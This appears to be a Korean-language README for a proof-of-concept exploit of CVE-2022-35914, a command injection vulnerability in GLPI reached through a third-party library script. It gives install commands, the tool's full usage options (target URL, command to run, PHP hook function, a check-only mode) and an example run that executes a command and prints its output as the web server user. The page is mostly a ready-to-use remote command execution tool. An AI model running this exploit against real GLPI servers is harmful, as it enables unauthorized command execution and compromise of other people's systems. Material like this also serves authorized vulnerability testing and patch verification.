
CVE-2022-35914에 대한 개념 증명 익스플로잇으로, 타사 라이브러리 스크립트를 통한 GLPI의 명령 주입 취약점입니다. 취약한 GLPI 인스턴스에서 임의의 명령을 실행합니다.
pip install -r requirements.txt
./CVE-2022-35914.py -h
usage: CVE-2022-35914.py [-h] -u URL -c CMD [-f HOOK] [--check] [--user-agent USER_AGENT]
CVE-2022-35914 - GLPI - Command injection using a third-party library script
options:
-h, --help show this help message and exit
-u URL URL to test
-c CMD Command to launch
-f HOOK PHP hook function (default: exec)
--check Just check, no command execution.
--user-agent USER_AGENT
Custom User-Agent
예제:
❯ ./CVE-2022-35914.py -u http://glpi
[+] Command output (Return code: 0):
uid=48(apache) gid=48(apache) groups=48(apache)